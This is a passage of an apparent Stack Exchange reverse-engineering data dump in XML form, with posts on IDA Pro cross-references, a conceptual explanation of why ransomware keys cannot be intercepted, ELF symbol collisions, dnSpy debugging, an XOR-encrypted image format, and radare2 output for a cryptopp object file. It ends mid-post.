  <row Id="23191" PostTypeId="1" CreationDate="2020-02-05T04:16:59.347" Score="1" ViewCount="220" Body="&lt;p&gt;I am reversing some Motorola 9s12 (68hc12) code and using IDA pro.&#xA;I am having the strangest issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code makes a call to a function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:B300                 call    $BFF7, #$FE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I go to the function and make it a function&#xA;with the &lt;kbd&gt;P&lt;/kbd&gt; key (auto analysis does not pick this &#xA;up as a function) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ROM:BFF7 sub_BFF7:&#xA;ROM:BFF7                 ldab    #$46 ; 'F'&#xA;ROM:BFF9                 stab    byte_3C&#xA;ROM:BFFB                 clrb&#xA;ROM:BFFC                 clra&#xA;ROM:BFFD                 rtc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA fails to insert the function name &#xA;(in this case &lt;code&gt;sub_BFF7&lt;/code&gt;) into  the original call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original call still reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:B300 sub_B300:&#xA;ROM:B300                 call    $BFF7, #$FE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somehow the XREF'ing is not working.&lt;/p&gt;&#xA;" OwnerUserId="30998" LastEditorUserId="60" LastEditDate="2020-02-06T23:08:11.027" LastActivityDate="2020-02-07T08:46:40.600" Title="Help with IDA pro please -- functions made are not Xref'ing to the caller" Tags="|ida|disassembly|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23192" PostTypeId="1" CreationDate="2020-02-05T07:27:56.043" Score="-1" ViewCount="316" Body="&lt;p&gt;From my understanding  most ransomware has a secret key used for encryption in a server which it contacts to send over the key and use it for encryption&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am wondering, couldn't someone easily either intercept the WinSock functions or just grab the key themselves and use it to decrypt the encrypted files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it is encrypted, it couldn't be that hard to find the place where it gets decrypted by debugging the ransomware&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why are people not doing this? Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="24262" LastEditorUserId="245" LastEditDate="2020-02-05T09:23:51.803" LastActivityDate="2020-02-05T09:23:51.803" Title="Why cant we find ransomware keys?" Tags="|windows|ransomware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23193" PostTypeId="2" ParentId="23192" CreationDate="2020-02-05T09:18:08.493" Score="8" Body="&lt;p&gt;You really need to read up on &lt;a href=&quot;https://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;noreferrer&quot;&gt;public-key cryptography&lt;/a&gt;, methinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scheme - if properly (i.e. securely) implemented - could work somewhat like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;generate a public/private key pair &lt;em&gt;on&lt;/em&gt; the infected/affected machine. &lt;strong&gt;NOTE:&lt;/strong&gt; this means each key pair is &lt;em&gt;specific to the machine&lt;/em&gt; and there is no single private key that could be used to decrypt everything across a number of machines&lt;/li&gt;&#xA;&lt;li&gt;transfer the private key to the C&amp;amp;C server&lt;/li&gt;&#xA;&lt;li&gt;securely delete (overwrite) the private key (assuming it was even ever on disk ... could have been in memory the whole time)&lt;/li&gt;&#xA;&lt;li&gt;encrypt files &lt;em&gt;against&lt;/em&gt; the public key (matching the now unavailable private key)&lt;/li&gt;&#xA;&lt;li&gt;show the ransom note&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;... now, as a victim you don't have a private key at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can vary this further, of course. So this is just &lt;em&gt;one&lt;/em&gt; example of how to make sure there is no escape from paying the ransom other than having an (offline) backup in place.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now some more comments regarding what seem to be misconceptions on your part:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From my understanding most randomware has a secret key used for&#xA;  encryption in a server which it contacts to send over the key and use&#xA;  it for encryption&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://en.wikipedia.org/wiki/Public-key_cryptography#/media/File:Public_key_encryption.svg&quot; rel=&quot;noreferrer&quot;&gt;asymmetric crypto&lt;/a&gt; you need&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;em&gt;public key&lt;/em&gt;:&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;to &lt;em&gt;encrypt&lt;/em&gt; data (with the owner of the matching private key being the recipient) or&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;validate&lt;/em&gt; a signature (made by the owner of the matching private key)&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;the &lt;em&gt;private key&lt;/em&gt;:&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;to &lt;em&gt;decrypt&lt;/em&gt; data or&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;sign&lt;/em&gt; something&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why would someone trying to extort a ransom from you give you the private key &lt;em&gt;before&lt;/em&gt; payment?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But I am wondering, couldnt someone easily either intercept the&#xA;  winsock functions or just grab the key themselves and use it to&#xA;  decrypt the encrypted files?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since this is based on the misconception above ... nope. But let's assume for a second that that &quot;author&quot; of the ransomware would want to provide a way to prove they are able to decrypt the data, they could simply demand that the victim send them &lt;em&gt;one&lt;/em&gt; encrypted file and send back the decrypted file without the victim ever getting to see the private (or &quot;secret&quot;) key. With this modus operandi I have immediately dismantled your idea of sniffing the private key (by &lt;em&gt;whatever&lt;/em&gt; means).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, transport encryption (TLS) can be used to make it even harder to sniff the traffic. So good luck with your suggestion. In theory it may work, but only if the &quot;author&quot; of the ransomware is patently stupid.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Even if it is encrypted, it couldnt be that hard to find the place&#xA;  where it gets decrypted by debugging the ransomware&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would only ever get the private key from the ransomware &quot;author&quot; &lt;em&gt;after payment&lt;/em&gt;. So for all practical purposes they could even disclose the source code of their &quot;client-side&quot; software and you'd still have to pay to be able to decrypt your files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gist is: if properly implemented, modern crypto is rather secure. In this case to the disadvantage of the victims.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your view on ransomware, and I don't mean this in any denigrating fashion, is rather naïve. I hope I have clarified some aspects.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2020-02-05T09:23:15.340" LastActivityDate="2020-02-05T09:23:15.340" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23194" PostTypeId="1" AcceptedAnswerId="23196" CreationDate="2020-02-05T12:54:10.583" Score="2" ViewCount="224" Body="&lt;p&gt;From what I understand, the &lt;code&gt;ELF&lt;/code&gt; format doesn't specify which symbols come from which file - Every &lt;code&gt;ELF&lt;/code&gt; that uses import has a list of symbols to import and list of file names, and the loader is trying to locate those symbols in the file names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what happens if there is a collision - the same symbol appears twice, in different files? Is it possible to somehow force by the &lt;code&gt;ELF&lt;/code&gt; format the destination file to look for a specific symbol? &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-02-05T15:43:54.553" Title="ELF imported symbols colision" Tags="|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23195" PostTypeId="2" ParentId="3074" CreationDate="2020-02-05T14:51:54.923" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt; (which is free) is able to disassemble x86 16-bit applications and even to decompile them to C (something you can't do with IDA).&lt;/p&gt;&#xA;" OwnerUserId="14570" LastActivityDate="2020-02-05T14:51:54.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23196" PostTypeId="2" ParentId="23194" CreationDate="2020-02-05T15:43:54.553" Score="3" Body="&lt;p&gt;This should be the problem of the linker at compile time. These things are not solved dynamically but statically. It should produce an error of the kind &lt;code&gt;multiple definition&lt;/code&gt; as illustrated on the following example (taken from &lt;a href=&quot;https://stackoverflow.com/questions/36209788/gcc-multiple-definition-of-error&quot;&gt;here&lt;/a&gt;): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/tmp/ccscmcbS.o:(.bss+0x0): multiple definition of `global_base'&#xA;/tmp/ccyjhjQC.o:(.bss+0x0): first defined here&#xA;/tmp/ccscmcbS.o: In function `find_free_block':&#xA;support.c:(.text+0x0): multiple definition of `find_free_block'&#xA;/tmp/ccyjhjQC.o:main.c:(.text+0x0): first defined here&#xA;/tmp/ccscmcbS.o: In function `request_space':&#xA;support.c:(.text+0x55): multiple definition of `request_space'&#xA;/tmp/ccyjhjQC.o:main.c:(.text+0x55): first defined here&#xA;/tmp/ccscmcbS.o: In function `get_block_ptr':&#xA;support.c:(.text+0xfe): multiple definition of `get_block_ptr'&#xA;/tmp/ccyjhjQC.o:main.c:(.text+0xfe): first defined here&#xA;collect2: error: ld returned 1 exit status&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastActivityDate="2020-02-05T15:43:54.553" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23199" PostTypeId="1" AcceptedAnswerId="23200" CreationDate="2020-02-06T15:33:23.730" Score="0" ViewCount="129" Body="&lt;p&gt;So let's say we want to use some instructions as signature for a malware, and it includes some call instructions or jmp instructions. Now, as far as I have seen, they always contain relative offsets as address and don't contain absolute addresses of the destination.&lt;/p&gt;&#xA;&lt;p&gt;Now, can the relative offset between functions or instructions change if the binary is compiled again with the same compiler? How about with another compiler?&lt;/p&gt;&#xA;&lt;p&gt;Do you guys think using a call instruction as part of a signature is good?&lt;/p&gt;&#xA;" OwnerUserId="28173" LastEditorUserId="30460" LastEditDate="2020-07-08T21:28:05.400" LastActivityDate="2020-08-07T22:05:40.600" Title="Can relative offsets in instructions like call and jmp change after recompiling the same code, or running it in another computer?" Tags="|assembly|decompilation|malware|static-analysis|operating-systems|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23200" PostTypeId="2" ParentId="23199" CreationDate="2020-02-06T16:06:45.510" Score="0" Body="&lt;p&gt;If there are code changes, it will most likely change between versions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you look at the implementation of FLIRT, in particular &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, where they explain how they face this issue. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-02-06T16:06:45.510" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23201" PostTypeId="1" CreationDate="2020-02-06T18:20:06.047" Score="1" ViewCount="1134" Body="&lt;p&gt;I am performing a security assessment on a .NET application. dnSpy is a great tool to do this. However, I've reached a module which is not in the &quot;main&quot; section of the program... It is &lt;em&gt;loaded&lt;/em&gt; by the program (it's a DLL). I need to find out which code calls a class/method from the DLL and one way I thought of doing this is to debug the program. However, I would have to discover manually which functionality I need to perform in the program in order to get it to call this particular class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to do this? I also tried to search for the text call to the method in the source code but haven't found anything significant. Lastly, in OllyDbg, a user can manually load a DLL using its DLL loader. Is this possible to do in dnSpy or another .NET tool?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2020-02-06T18:20:06.047" Title="How can I debug a non-main .NET assembly using dnSpy?" Tags="|debugging|decompilation|.net|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23203" PostTypeId="1" AcceptedAnswerId="23205" CreationDate="2020-02-06T21:11:13.017" Score="0" ViewCount="187" Body="&lt;p&gt;I am trying to reverse a simple image format for bitmap data with an indexed colour palette. The structure of the file is generally clear and I am able to extract the size of the picture and the palette. The place of where the run-length encoded data is stored is also pretty clear. However, the software for editing these images encrypts the run-length encoded data in a simple way by XORing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through manipulation of the data and viewing it in the software, I am able to extract the pixel dependent key for the XOR function, i.e. if there are 9 pixels totally, there are 9 keys. The problem is, however, that everytime the file is saved in the software, the keys change. I have identified two bytes in the file that change together with the encrypted data everytime it is saved and I therefore expect that it must be some sort of seed for generating the keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, after saving the same file many times, examining the seed and the xor keys, no clear pattern emerges. It is only obvious that the first pixel has always the same key, the second key can only change by 1 and the rest looks currently random to me. Shifting the seed and combining it with the first key or using modulo operations don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The software itself is packed/encrypted and I am unable to unpack it, i.e. I think I have to deduce the encryption solely based on the files I can generate. Is there some general advice on how to proceed in such a situation?&lt;/p&gt;&#xA;" OwnerUserId="31013" LastEditorUserId="31013" LastEditDate="2020-02-06T21:41:44.780" LastActivityDate="2020-02-06T23:00:38.027" Title="Encrypted image format" Tags="|file-format|encryption|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23205" PostTypeId="2" ParentId="23203" CreationDate="2020-02-06T23:00:38.027" Score="1" Body="&lt;p&gt;From what you describe, there might be somewhere in the SW an obscure algorithm calculating the seed. If there is no pattern which can be found, you must find this algo in the software. Here are some hints how you could proceed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Start it from within a debugger like Ida and set a random breakpoint during the run. Try to analyze the structure of the code loaded in memory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If this does not work, start it and try to attach a debugger during the run and proceed like above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If this not work either, try to investigate the unpacker/decrypter. There must be an unencrypted stub where everything starts. Do not analyze line by line, but in blocks and try to identify the point where the whole thing is unencrypted loaded in memory. If this is hampered by anti-debug measures, these should be removed. In this stage much could be done statically. You could try a decompiler like Ghidra to make faster progress than with pure static disassembler.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have more advanced software which decrypts in chunks and after having done its work encrypts again you will have a rather hard time to procedd. It is possible though.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For your strategy of &quot;guessing&quot; the seeds, no general rule can be given here. If you are able to define a roadmap how to proceed this might work. If there is some kind of weird app specific algo I would much prefer the other - tedious but rather straightforward - possibilities.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2020-02-06T23:00:38.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23206" PostTypeId="2" ParentId="23177" CreationDate="2020-02-06T23:17:29.627" Score="0" Body="&lt;p&gt;Igor gave the answer for Ida. A more general possibility, very simple and working everywhere, would be just to write down a sequence of immutable bytes from the disassembler (i.e. avoiding changing addresses), then load the file into a Hex Editor and let it search for that sequence. If it is long enough there will mostly be only a single hit within the file.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2020-02-06T23:17:29.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23207" PostTypeId="2" ParentId="23111" CreationDate="2020-02-07T06:43:12.857" Score="1" Body="&lt;p&gt;First you can ask where the shell lies with &lt;code&gt;which sh&lt;/code&gt;. The command tells the full path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can use &lt;code&gt;ls - al&lt;/code&gt; to view whether or not that is a symbolic link on its own or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have found the original shell you know whether or not it fits your need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the shell for the user you are using, you have plenty of choices, depending on whether or not you are root. Have a look &lt;a href=&quot;https://www.tecmint.com/change-a-users-default-shell-in-linux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; to have an idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, instead, you want to change where the symbolic link points, you can you have to be root and use the &lt;code&gt;ln&lt;/code&gt; command. Keep in mind that changing the shell in this way can have serious unwanted consequences. &lt;/p&gt;&#xA;" OwnerUserId="27706" LastActivityDate="2020-02-07T06:43:12.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23208" PostTypeId="1" AcceptedAnswerId="23218" CreationDate="2020-02-07T07:25:07.467" Score="1" ViewCount="882" Body="&lt;p&gt;Does anybody know if IDA's FreeWare version 7.0 has the Command Line Interface option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have IDA FreeWare 7.0 and I only see one .exe file which is ida64.exe. But according to HexRay's command line switches for IDA Pro, there is supposed to be an .exe for command line interface. I'm not sure if it's just because I am using the free version. &lt;/p&gt;&#xA;" OwnerUserId="30958" LastActivityDate="2020-03-09T20:00:50.463" Title="Does IDA Pro's Freeware version have a command line interface?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23209" PostTypeId="2" ParentId="23191" CreationDate="2020-02-07T08:46:40.600" Score="-1" Body="&lt;p&gt;probably it's some bug in 68k processor module of IDA. What you can do is create the script which will find all call instructions and create xrefs properly.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2020-02-07T08:46:40.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23211" PostTypeId="1" AcceptedAnswerId="23215" CreationDate="2020-02-07T12:37:59.843" Score="1" ViewCount="1993" Body="&lt;p&gt;&lt;strong&gt;How can I find only real functions not data garbage like section..debug_S_105 ? *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to collect function data (assembler code) of Open Source C++ Files which I compile with Visual Studio 19 (sln file was provided). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I generated &lt;a href=&quot;https://github.com/weidai11/cryptopp&quot; rel=&quot;nofollow noreferrer&quot;&gt;cryptopp library&lt;/a&gt; --&gt; opened provided &lt;a href=&quot;https://github.com/weidai11/cryptopp/blob/master/cryptest.sln&quot; rel=&quot;nofollow noreferrer&quot;&gt;cryptest.sln&lt;/a&gt; and built it (Win32, Release, /O2) which produces some files:&lt;br&gt;&#xA;- Object files: 3way.obj, adler32.obj, algebra.obj,&lt;br&gt;&#xA;- Lib file: cryptlib.lib&lt;br&gt;&#xA;- PDB file: cryptlib.pdb  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know the function name and get the assembler code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxxx ✗ r2 authenc.obj&#xA;[0x0000368d]&amp;gt; aaaa&#xA;[Cannot analyze at 0x00010bdeg with sym. and entry0 (aa)&#xA;Cannot analyze at 0x00010be2&#xA;Cannot analyze at 0x00010c08&#xA;Cannot analyze at 0x00010c08&#xA;Cannot analyze at 0x00010c1a&#xA;Cannot analyze at 0x00010c1a&#xA;Cannot analyze at 0x00010d28&#xA;Cannot analyze at 0x00010d28&#xA;Cannot analyze at 0x0001114e&#xA;Cannot analyze at 0x0001114e&#xA;[...]&#xA;Cannot analyze at 0x000111fd&#xA;Cannot analyze at 0x000111fd&#xA;Cannot analyze at 0x00011211&#xA;Cannot analyze at 0x00011211&#xA;Cannot analyze at 0x0001126f&#xA;Cannot analyze at 0x0001126f&#xA;Cannot analyze at 0x00011283&#xA;Cannot analyze at 0x00011283&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Check for objc references&#xA;[x] Check for vtables&#xA;[x] Type matching analysis for all functions (aaft)&#xA;[x] Propagate noreturn information&#xA;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA;[x] Finding function preludes&#xA;[x] Enable constraint types analysis for variables&#xA;[0x0000368d]&amp;gt; afl&#xA;0x0000368d    5 63           sym.____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0___QAV10_0_Z&#xA;0x00000000   45 877  -&amp;gt; 848  sym._comp.id&#xA;0x00001b44  286 1517 -&amp;gt; 1781 sym..drectve&#xA;0x00003619   62 851  -&amp;gt; 946  sym..debug_T&#xA;0x00003980   25 601  -&amp;gt; 640  section..debug_S_6&#xA;0x00003c15   81 872  -&amp;gt; 951  section..debug_S_8&#xA;0x000040e7    3 25           sym.__unwindfunclet_____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D&#xA;0x00004143    5 34           sym.____Allocate__07U_Default_allocate_traits_std___0A__std__YAPAXI_Z&#xA;0x00004179   20 447  -&amp;gt; 510  section..debug_S_11&#xA;0x000043a7   16 291  -&amp;gt; 307  sym.____Allocate_manually_vector_aligned_U_Default_allocate_traits_std___std__YAPAXI_Z&#xA;0x000046a8    3 44           sym.____Deallocate__07_0A__std__YAXPAXI_Z&#xA;0x000046e8   19 638  -&amp;gt; 633  section..debug_S_15&#xA;0x000049a2   91 1191 -&amp;gt; 1310 section..debug_S_17&#xA;0x000051f4    6 134          sym.____Reallocate_grow_by_V_lambda_67d87d4aa1269033985980465fd1d824_____V___basic_string_DU__char_traits_D_std__V__allocator_D_2&#xA;0x000052b6   77 2130 -&amp;gt; 2150 section..debug_S_19&#xA;0x00005b58   98 1887 -&amp;gt; 1975 section..debug_S_21&#xA;0x0000644a    1 46           sym.__0__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAE___QAV01__Z&#xA;0x00006478   38 1037 -&amp;gt; 1080 section..debug_S_23&#xA;0x00006899   14 258  -&amp;gt; 254  fcn.00006899&#xA;0x00006a73    1 172          sym.__0BadState_AuthenticatedSymmetricCipher_CryptoPP__QAE_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__PBD1_Z&#xA;0x00006bbf  275 1521 -&amp;gt; 1789 section..debug_S_27&#xA;0x000073a9    8 138  -&amp;gt; 140  fcn.000073a9&#xA;0x0000743e    1 105          sym.__0BadState_AuthenticatedSymmetricCipher_CryptoPP__QAE_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__PBD_Z&#xA;0x0000750b  152 971  -&amp;gt; 1135 section..debug_S_30&#xA;0x00007a6d    4 184          fcn.00007a6d&#xA;0x00007b61   37 453  -&amp;gt; 508  section..debug_S_33&#xA;0x00007ef3    3 142          sym.__unwindfunclet___0Exception_CryptoPP__QAE_ABV01__Z_0&#xA;0x00007fb3   92 797  -&amp;gt; 928  section..debug_S_36&#xA;0x00008409    3 106          sym.__unwindfunclet___0Exception_CryptoPP__QAE_W4ErrorType_01_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z&#xA;0x00008487   23 491  -&amp;gt; 519  section..debug_S_39&#xA;0x00008686   19 559  -&amp;gt; 578  section..debug_S_41&#xA;0x000088c9  136 2578 -&amp;gt; 2731 section..debug_S_43&#xA;0x0000913c   12 415  -&amp;gt; 432  section..debug_S_53&#xA;0x000092f9   64 1036 -&amp;gt; 1135 section..debug_S_55&#xA;0x00009817    3 31           sym.___GBadState_AuthenticatedSymmetricCipher_CryptoPP__UAEPAXI_Z&#xA;0x0000984a   42 417  -&amp;gt; 504  section..debug_S_57&#xA;0x000099ff   26 377  -&amp;gt; 423  section..debug_S_59&#xA;0x00009b8c   25 404  -&amp;gt; 418  section..debug_S_61&#xA;0x00009d3e   20 355  -&amp;gt; 378  section..debug_S_63&#xA;0x00009ec8   16 188          sym._AuthenticateData_AuthenticatedSymmetricCipherBase_CryptoPP__IAEXPBEI_Z&#xA;0x00009fa2   64 2101 -&amp;gt; 2160 section..debug_S_65&#xA;0x0000a881  204 1185 -&amp;gt; 1293 section..debug_S_67&#xA;0x0000b213    8 287          sym.__unwindfunclet__ProcessData_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPAEPBEI_Z_3&#xA;0x00000068   51 773  -&amp;gt; 769  fcn.00000068&#xA;0x00000008   45 869  -&amp;gt; 840  fcn.00000008&#xA;0x0000b38c   69 597  -&amp;gt; 711  section..debug_S_70&#xA;0x0000b7e2    8 164  -&amp;gt; 166  sym.__unwindfunclet__Resynchronize_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEH_Z_0&#xA;0x0000b890   76 1581 -&amp;gt; 1597 section..debug_S_73&#xA;0x0000bfd5  596 2248 -&amp;gt; 2834 section..debug_S_75&#xA;0x0000cdaf   20 396          sym.__unwindfunclet__TruncatedFinal_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPAEI_Z_7&#xA;0x0000cf4c   13 177          sym._Update_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEI_Z&#xA;0x0000d061   82 625  -&amp;gt; 706  section..debug_S_78&#xA;0x0000d53f   42 867  -&amp;gt; 896  sym..text_x&#xA;0x0000d8b6   52 818  -&amp;gt; 948  section..debug_S_83&#xA;0x0000dbe8   54 928  -&amp;gt; 1018 section..debug_S_85&#xA;0x0000df9c   55 1312 -&amp;gt; 1363 section..debug_S_87&#xA;0x0000e4c6   26 685  -&amp;gt; 727  section..debug_S_89&#xA;0x0000e787   11 165  -&amp;gt; 168  fcn.0000e787&#xA;0x0000e8e9    1 11           sym.__Xran____String_val_U___Simple_types_D_std___std__SAXXZ&#xA;0x0000e908   19 352  -&amp;gt; 382  section..debug_S_93&#xA;0x0000ea72   28 525  -&amp;gt; 551  section..debug_S_95&#xA;0x0000ed10    3 31           sym._append___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAEAAV12_QBD_Z&#xA;0x0000ed39   35 651  -&amp;gt; 697  section..debug_S_97&#xA;0x0000efd8   66 968  -&amp;gt; 1055 section..debug_S_99&#xA;0x0000f49e    3 30           sym._insert___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAEAAV12_IABV12__Z&#xA;0x0000f4c6   34 954  -&amp;gt; 976  section..debug_S_101&#xA;0x0000f8b2   15 381  -&amp;gt; 395  section..debug_S_103&#xA;0x00010050    8 66           sym._reserve___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAEXI_Z&#xA;0x000100a6   68 958  -&amp;gt; 1063 section..debug_S_105&#xA;0x00010464   17 556  -&amp;gt; 578  section..debug_S_107&#xA;0x0001069a    9 359  -&amp;gt; 360  section..debug_S_109&#xA;0x00004100    6 101          sym.__ehhandler_____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0&#xA;0x00010808    1 57           sym.__ehfuncinfo___0Exception_CryptoPP__QAE_W4ErrorType_01_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z&#xA;0x00010848    1 57           sym.__ehfuncinfo___0Exception_CryptoPP__QAE_ABV01__Z&#xA;0x00010888    1 57           sym.__ehfuncinfo_____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2&#xA;0x000108d0    1 67           fcn.000108d0&#xA;0x00010932    1 87           sym.__ehfuncinfo___0BadState_AuthenticatedSymmetricCipher_CryptoPP__QAE_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2&#xA;0x00010990    1 57           sym.__ehfuncinfo__Resynchronize_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEH_Z&#xA;0x000109d0    1 57           sym.__ehfuncinfo__Update_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEI_Z&#xA;0x00010a28    1 122          sym.__ehfuncinfo__ProcessData_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPAEPBEI_Z&#xA;0x00010c40    1 12           sym.__CT___R0_AVexception_std___8__0exception_std__QAE_ABV01__Z12&#xA;0x00010c70    5 149          sym.___C__02LMMGGCAJ__3_5&#xA;0x00010d53    1 12           sym.__CT___R0_AVException_CryptoPP___8__0Exception_CryptoPP__QAE_ABV01__Z40&#xA;0x00010d83   22 421  -&amp;gt; 456  section..xdata_x_131&#xA;0x00010f4b    1 122          sym.___R4InvalidArgument_CryptoPP__6B&#xA;0x00010fe8   24 285  -&amp;gt; 312  sym.___R4BadState_AuthenticatedSymmetricCipher_CryptoPP__6B&#xA;0x0001111e    1 12           sym..xdata_x&#xA;0x00011292   72 551  -&amp;gt; 631  section..debug_S_169&#xA;0x00000e92    3 78           fcn.00000e92&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I m using Python for extraction but some of these functions are not real function for example:&#xA;section..debug_S_105&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I 